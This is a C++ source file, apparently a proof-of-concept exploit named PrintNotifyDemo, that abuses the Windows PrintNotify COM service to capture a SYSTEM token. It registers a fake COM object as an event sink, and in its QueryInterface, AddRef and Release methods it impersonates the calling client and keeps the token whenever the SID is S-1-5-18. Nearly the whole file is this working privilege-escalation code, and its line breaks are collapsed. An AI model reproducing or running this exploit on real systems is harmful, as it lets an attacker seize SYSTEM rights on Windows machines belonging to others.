// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//
#include <iostream>#include "ole2.h"#include <comdef.h>#include <printerextension.h>#include <sddl.h>

GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };


IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown{  LONG m_lRefCount;

  void TryImpersonate(){    if (*m_ptoken == nullptr)    {      HRESULT hr = CoImpersonateClient();      if (SUCCEEDED(hr))      {        HANDLE hToken;        if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))        {          PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);          DWORD ret_len = 0;
          if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))          {            LPWSTR sid_name;
            ConvertSidToStringSid(user->User.Sid, &sid_name);
            if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))            {              *m_ptoken = hToken;              RevertToSelf();            }            else            {              CloseHandle(hToken);            }
            printf("Got Token: %p %ls\n", hToken, sid_name);            LocalFree(sid_name);          }          else          {            printf("Error getting token user %d\n", GetLastError());          }          free(user);        }        else        {          printf("Error opening token %d\n", GetLastError());        }      }    }  }
public:  HANDLE* m_ptoken;  //Constructor, Destructor  FakeObject(HANDLE* ptoken) {    m_lRefCount = 1;    m_ptoken = ptoken;    *m_ptoken = nullptr;  }
  ~FakeObject() {};
  //IUnknown  HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj){    TryImpersonate();
    if (riid == __uuidof(IUnknown))    {      *ppvObj = this;    }    else if (riid == IID_FakeInterface)    {      printf("Check for FakeInterface\n");      *ppvObj = this;    }    else    {      *ppvObj = NULL;      return E_NOINTERFACE;    }
    AddRef();    return NOERROR;  }
  ULONG __stdcall AddRef(){    TryImpersonate();    return InterlockedIncrement(&m_lRefCount);  }
  ULONG __stdcall Release(){    TryImpersonate();    // not thread safe    ULONG  ulCount = InterlockedDecrement(&m_lRefCount);
    if (0 == ulCount)    {      delete this;    }
    return ulCount;  }};

int main(){  // 初始化COM运行时  CoInitialize(NULL);  //初始化COM运行时上下文  HRESULT hr;
  IMonikerPtr pFakeObj;  HANDLE ptoken = NULL;
  FakeObject* fakeObject = new FakeObject(&ptoken);

  //CreatePointerMoniker(fakeObject, &pFakeObj);
  IUnknown* pPrintNotify = NULL;
  hr = CoCreateInstance(PrintNotifyGUID, NULL,    CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));
  if (SUCCEEDED(hr))  {    IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;
    hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);
    IEnumConnectionPoints* pIEnumConnectionPoints;
    hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);

    LPCONNECTIONPOINT pCONNECTIONPOINT;    ULONG fetched;
    hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);
    DWORD cookie;
    hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);
    printf("Got Token At :%p\n", fakeObject->m_ptoken);  }  else  {    printf("CoCreateInstance fail hr: %d\n",hr);  }



  std::cout << "Hello World!\n";  return 0;}